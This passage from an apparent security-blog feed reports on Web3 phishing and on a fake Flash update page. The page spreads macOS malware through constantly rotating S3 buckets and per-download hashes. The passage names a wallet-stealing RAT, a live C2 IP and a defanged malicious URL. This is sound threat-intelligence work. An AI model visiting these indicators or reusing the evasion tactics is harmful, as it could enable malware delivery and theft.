srcset="https://substackcdn.com/image/fetch/$s_!t37g!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a303a14-9df1-4506-8f73-8ab7cec4195f_1000x394.png 424w, https://substackcdn.com/image/fetch/$s_!t37g!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a303a14-9df1-4506-8f73-8ab7cec4195f_1000x394.png 848w, https://substackcdn.com/image/fetch/$s_!t37g!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a303a14-9df1-4506-8f73-8ab7cec4195f_1000x394.png 1272w, https://substackcdn.com/image/fetch/$s_!t37g!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a303a14-9df1-4506-8f73-8ab7cec4195f_1000x394.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption"><a href="https://www.virustotal.com/gui/file/581b56dea8f59f59e14d10c1d417e94d6432901494fd9fa315a7fe53c0f13f26/details">https://www.virustotal.com/gui/file/581b56dea8f59f59e14d10c1d417e94d6432901494fd9fa315a7fe53c0f13f26/details</a></figcaption></figure></div><p>While a comprehensive analysis of this malware is outside of the scope of this post, a cursory overview provided by <a href="https://twitter.com/lordx64">Taha Karim</a> shows us that this is indeed a RAT with C2 in Seychelles.</p><p>More info @ AlienVault:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!tgFI!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17c1013a-1cd6-4f09-8ff6-3362fc4df01e_1000x285.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!tgFI!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17c1013a-1cd6-4f09-8ff6-3362fc4df01e_1000x285.png 424w, https://substackcdn.com/image/fetch/$s_!tgFI!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17c1013a-1cd6-4f09-8ff6-3362fc4df01e_1000x285.png 848w, https://substackcdn.com/image/fetch/$s_!tgFI!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17c1013a-1cd6-4f09-8ff6-3362fc4df01e_1000x285.png 1272w, https://substackcdn.com/image/fetch/$s_!tgFI!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17c1013a-1cd6-4f09-8ff6-3362fc4df01e_1000x285.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!tgFI!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17c1013a-1cd6-4f09-8ff6-3362fc4df01e_1000x285.png" width="1000" height="285" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/17c1013a-1cd6-4f09-8ff6-3362fc4df01e_1000x285.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:285,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!tgFI!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17c1013a-1cd6-4f09-8ff6-3362fc4df01e_1000x285.png 424w, https://substackcdn.com/image/fetch/$s_!tgFI!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17c1013a-1cd6-4f09-8ff6-3362fc4df01e_1000x285.png 848w, https://substackcdn.com/image/fetch/$s_!tgFI!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17c1013a-1cd6-4f09-8ff6-3362fc4df01e_1000x285.png 1272w, https://substackcdn.com/image/fetch/$s_!tgFI!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F17c1013a-1cd6-4f09-8ff6-3362fc4df01e_1000x285.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption"><a href="https://otx.alienvault.com/indicator/ip/185.215.113.15">https://otx.alienvault.com/indicator/ip/185.215.113.15</a></figcaption></figure></div><p>On launch, this piece of malware scans the Victim&#8217;s drive for .txt files that contain the keywords &#8216;key&#8217;, &#8216;wallet&#8217;, and &#8216;seed&#8217; in the filename or body and posts those back home to the C2.</p><blockquote><p>Opsec Reminder: Please don&#8217;t store your private keys in text files on your device.</p></blockquote><div><hr></div><h4>Impact &amp; Scope</h4><p>Over the course of any given week, we will detect several hundred newly active Web3 phishing domains and/or campaigns in addition to those targeting specific Web3 brands that we monitor.</p><p>If we look at the prevalence of these types of campaigns by target and type, we see some of the following statistics:</p><ul><li><p>Approximately 1 in 5 Web3 phishing attacks that are promoted via malvertising are giveaway scams.</p></li><li><p>30% of all scams that we we have detected in the last 7 days somehow abuse or piggyback off of the Coinbase brand.</p></li><li><p>1/4 of all Web3 phishing campaigns are seed phrase / fake wallet campaigns.</p></li><li><p>Of those, 20% target the Ledger brand explicitly.</p></li><li><p>The Axie Infinity brand is one of the hotter targets with 10 new IOCs per day on average in recent weeks.</p></li></ul><h4>IOCs</h4><p><a href="https://gist.github.com/eliyastein/9ea550c756ba42ae06c80ef273ba10ca#file-gistfile1-txt">https://gist.github.com/eliyastein/9ea550c756ba42ae06c80ef273ba10ca#file-gistfile1-txt</a></p>]]></content:encoded></item><item><title><![CDATA[How File Hashes Fail As A Malware Detection Heuristic]]></title><description><![CDATA[In this blog post we take a trip downstream from malvertising delivery mechanisms and take a close up look at a fake Flash update landing page that was used to deliver desktop malware.]]></description><link>https://blog.confiant.com/p/how-file-hashes-fail-as-a-malware-detection-heuristic-2e1fb310e8cd</link><guid isPermaLink="false">https://blog.confiant.com/p/how-file-hashes-fail-as-a-malware-detection-heuristic-2e1fb310e8cd</guid><dc:creator><![CDATA[Confiant]]></dc:creator><pubDate>Mon, 06 Dec 2021 20:50:00 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!IXaK!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28571e9f-fe83-484b-98f4-91617ae8bf5a_1000x603.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In this blog post we take a trip downstream from malvertising delivery mechanisms and take a close up look at a fake Flash update landing page that was used to deliver desktop malware. We will take a look at some of the tricks these cybercriminals use in order to thwart detection on the wire. More specifically, we will see how malware campaigns are orchestrated to aggressively rotate landing page domains and serve binaries with unique hashes from unique sources on every single request.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!IXaK!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28571e9f-fe83-484b-98f4-91617ae8bf5a_1000x603.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!IXaK!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28571e9f-fe83-484b-98f4-91617ae8bf5a_1000x603.png 424w, https://substackcdn.com/image/fetch/$s_!IXaK!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28571e9f-fe83-484b-98f4-91617ae8bf5a_1000x603.png 848w, https://substackcdn.com/image/fetch/$s_!IXaK!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28571e9f-fe83-484b-98f4-91617ae8bf5a_1000x603.png 1272w, https://substackcdn.com/image/fetch/$s_!IXaK!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28571e9f-fe83-484b-98f4-91617ae8bf5a_1000x603.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!IXaK!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28571e9f-fe83-484b-98f4-91617ae8bf5a_1000x603.png" width="1000" height="603" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/28571e9f-fe83-484b-98f4-91617ae8bf5a_1000x603.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:603,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!IXaK!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28571e9f-fe83-484b-98f4-91617ae8bf5a_1000x603.png 424w, https://substackcdn.com/image/fetch/$s_!IXaK!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28571e9f-fe83-484b-98f4-91617ae8bf5a_1000x603.png 848w, https://substackcdn.com/image/fetch/$s_!IXaK!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28571e9f-fe83-484b-98f4-91617ae8bf5a_1000x603.png 1272w, https://substackcdn.com/image/fetch/$s_!IXaK!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28571e9f-fe83-484b-98f4-91617ae8bf5a_1000x603.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><p>The screenshot above and variations like it are probably familiar to anyone who has been online in the last 15+ years. Despite Flash having been on the decline for years and officially sunset as of 12/31/2020, landing pages like this are without question the most common vehicle for the spread of malware variants like Shlayer and Bundlore, both of which we have covered pretty extensively:</p><p><strong><a href="https://blog.confiant.com/osx-shlayer-new-shurprise-unveiling-osx-tarmac-f965a32de887">OSX/Shlayer new Shurprise.. unveiling OSX/Tarmac</a></strong><a href="https://blog.confiant.com/osx-shlayer-new-shurprise-unveiling-osx-tarmac-f965a32de887"><br></a><em><a href="https://blog.confiant.com/osx-shlayer-new-shurprise-unveiling-osx-tarmac-f965a32de887">Mac Spyware Shlayer is now dropping an entirely new malware we called OSX/Tarmac.</a></em><a href="https://blog.confiant.com/osx-shlayer-new-shurprise-unveiling-osx-tarmac-f965a32de887">blog.confiant.com</a></p><p><strong><a href="https://blog.confiant.com/new-macos-bundlore-loader-analysis-ca16d19c058c">New macOS Bundlore Loader analysis</a></strong><a href="https://blog.confiant.com/new-macos-bundlore-loader-analysis-ca16d19c058c"><br></a><em><a href="https://blog.confiant.com/new-macos-bundlore-loader-analysis-ca16d19c058c">Looking at a recent Malvertising campaigns detected by Confiant realtime Malvertising detection engine, we stumbled&#8230;</a></em><a href="https://blog.confiant.com/new-macos-bundlore-loader-analysis-ca16d19c058c">blog.confiant.com</a></p><p>A typical malware campaign of this sort will rely heavily on an infrastructure that aggressively rotates domains, subdomains, and S3 buckets&#8202;&#8212;&#8202;either in real time or on a very frequent schedule (minutes). The more sophisticated players will also bundle or re-package their application on the go in order to ensure every single download has a different hash and file size.</p><div><hr></div><p>Let&#8217;s dig in to our case study:</p><p>The landing page in question (screenshot posted above) was located at the following url:</p><blockquote><p>https://softupdate[.]betterpath2updatinglink[.]work/sew?ftri=2qEIDmFngfGBxZafssyNEZwMRnAU20BU1EkcYRg2mUE.&amp;cid=454444878915449034&amp;sub=3193745#</p></blockquote><p>Source of the html is can be found below:</p><blockquote><p><a href="https://gist.github.com/eliyastein/e69b3288a34251bdb8a2a37677a16823">https://gist.github.com/eliyastein/e69b3288a34251bdb8a2a37677a1682</a></p></blockquote><div><hr></div><p>And perhaps the most relevant piece of this whole html file is right here:</p><pre><code>&lt;a href=&#8221;/dl.php?ftri=2qEIDmFngfGBxZafssyNEZwMRnAU20BU1EkcYRg2mUE.&amp;cid=454444878915449034&amp;sub=3193745&amp;conversion_id=16300013847132&amp;app_id=100&amp;lp_id=3281&amp;v=revmacpkgnew3&amp;stub_name=2030&amp;v_id=&amp;lpp=No+match&#8221; onclick=&#8221;showStep();&#8221;  class=&#8221;download_link button&#8221; style=&#8221;text-decoration:none; margin-right:0; margin-top:40px; border:none; width:120px&#8221; &gt;Download&lt;/a&gt;</code></pre><p>Upon manual inspection, we click the download link and observe that we are redirected to an S3 bucket for the binary. After 2 or 3 manual downloads, we see that the location of the file (S3 bucket) is rotated, the file size is off by several bytes, and the dmg produces a different hash.</p><p>Curious as to what exact length the operators will go to try and obscure what they&#8217;re doing. We extract the download link and whip up a shell script to hit it repeatedly and log the results.</p><p>The script:</p><p>Some quick notes on the script:</p><ul><li><p>We need to pass a long a valid User Agent for our request to be accepted.</p></li><li><p>We use the -I flag which only gives us the header, making it easy to extract the redirect to S3.</p></li></ul><blockquote><p>After leaving the script to run for ~2 hours we have aggregated a list of 2,272 unique paths on S3 spread across the following 15 unique buckets.</p></blockquote><pre><code>7fad0694-2b87-460c-8a49-8
b429
326ed53a-4f92-45f5-aa6c-e60
14a3574e
8b67323e-357a-4838-b330-c9ba7
a10becda-e785-41fe-950d-562081aba8f
87b0
9868d5df-ee7c-4eb2-87cd-49b17c9
5f6c2a7b-7
f86c2204-8a2c-40d2-8
9317dbdc-539
977a70d5-f4e
4c2e39d9-160c-44fd
8bcb
0d391009-f9</code></pre><p>The file sizes are mostly all unique as well:</p><pre><code>$ ls -l | awk &#8216;{print $5}&#8217; | uniq | wc -l
    2216</code></pre><p>As well as the hashes:</p><pre><code>$ for f in *; do shasum -a 256  $f; done | awk &#8216;{print $1}&#8217; | uniq | wc -l
    2270</code></pre><div><hr></div><h4>Detection Is Tricky</h4><p>Though campaigns that leverage these tactics (and similar ones) have long been observed, the cybersecurity world still places a heavy premium on unique malware hashes and download links as IOCs, but ephemeral download links are entirely unreliable for detection.</p><p>Here&#8217;s a visualization of how any single malware campaign can quickly scale to a game of whack-a-mole against an epic number of urls.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!8WR1!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb6765f5c-9273-4776-b78d-8da28beec2e9_1256x722.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!8WR1!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb6765f5c-9273-4776-b78d-8da28beec2e9_1256x722.png 424w, https://substackcdn.com/image/fetch/$s_!8WR1!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb6765f5c-9273-4776-b78d-8da28beec2e9_1256x722.png 848w, https://substackcdn.com/image/fetch/$s_!8WR1!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb6765f5c-9273-4776-b78d-8da28beec2e9_1256x722.png 1272w, https://substackcdn.com/image/fetch/$s_!8WR1!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb6765f5c-9273-4776-b78d-8da28beec2e9_1256x722.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!8WR1!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb6765f5c-9273-4776-b78d-8da28beec2e9_1256x722.png" width="1256" height="722" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b6765f5c-9273-4776-b78d-8da28beec2e9_1256x722.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:722,&quot;width&quot;:1256,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!8WR1!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb6765f5c-9273-4776-b78d-8da28beec2e9_1256x722.png 424w, https://substackcdn.com/image/fetch/$s_!8WR1!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb6765f5c-9273-4776-b78d-8da28beec2e9_1256x722.png 848w, https://substackcdn.com/image/fetch/$s_!8WR1!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb6765f5c-9273-4776-b78d-8da28beec2e9_1256x722.png 1272w, https://substackcdn.com/image/fetch/$s_!8WR1!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb6765f5c-9273-4776-b78d-8da28beec2e9_1256x722.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Without a doubt, monitoring these campaigns at every layer can lead to crucial findings from a threat intelligence perspective, but reliable mitigation is better done upstream from the binary, the download link, and sometimes the landing page at a network level.</p><p>We find that real time analysis of malvertising chains is quite critical in the discovery of central points of infrastructure for these malicious campaigns that can be addressed more reliably. Usually these are pre-landers or campaign ID&#8217;s on unsavory ad networks that have malware affiliates on their networks.</p><p><strong>IOCs&#8202;&#8212;&#8202;S3 Buckets</strong></p><blockquote><p><a href="https://gist.github.com/eliyastein/e94ebef2f39e29495e0193065644924c">https://gist.github.com/eliyastein/e94ebef2f39e29495e0193065644924c</a></p></blockquote><p><strong>IOCs- DMG Hashes</strong></p><blockquote><p><a href="https://gist.github.com/eliyastein/5b6fab50978919ad6d5c9c7ac4c4207e">https://gist.github.com/eliyastein/5b6fab50978919ad6d5c9c7ac4c4207e</a></p></blockquote>]]></content:encoded></item><item><title><![CDATA[Profiling hackers using the Malvertising Attack Matrix by Confiant]]></title><description><![CDATA[A relatively new threat vector, Malvertising is a cyber-attack relying on ad networks and digital ads exposing virtually any internet user surfing the web to the risk of infection.]]></description><link>https://blog.confiant.com/p/profiling-hackers-using-the-malvertising-attack-matrix-by-confiant-9341838887b7</link><guid isPermaLink="false">https://blog.confiant.com/p/profiling-hackers-using-the-malvertising-attack-matrix-by-confiant-9341838887b7</guid><dc:creator><![CDATA[Confiant]]></dc:creator><pubDate>Mon, 18 Oct 2021 20:33:00 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!MLz6!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9476936f-a654-4af1-8a4a-f675498673c6_1000x562.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><em>Originally written by <strong>Taha Karim</strong></em></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!MLz6!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9476936f-a654-4af1-8a4a-f675498673c6_1000x562.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!MLz6!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9476936f-a654-4af1-8a4a-f675498673c6_1000x562.jpeg 424w, https://substackcdn.com/image/fetch/$s_!MLz6!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9476936f-a654-4af1-8a4a-f675498673c6_1000x562.jpeg 848w, https://substackcdn.com/image/fetch/$s_!MLz6!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9476936f-a654-4af1-8a4a-f675498673c6_1000x562.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!MLz6!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9476936f-a654-4af1-8a4a-f675498673c6_1000x562.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!MLz6!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9476936f-a654-4af1-8a4a-f675498673c6_1000x562.jpeg" width="1000" height="562" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/9476936f-a654-4af1-8a4a-f675498673c6_1000x562.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:562,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" 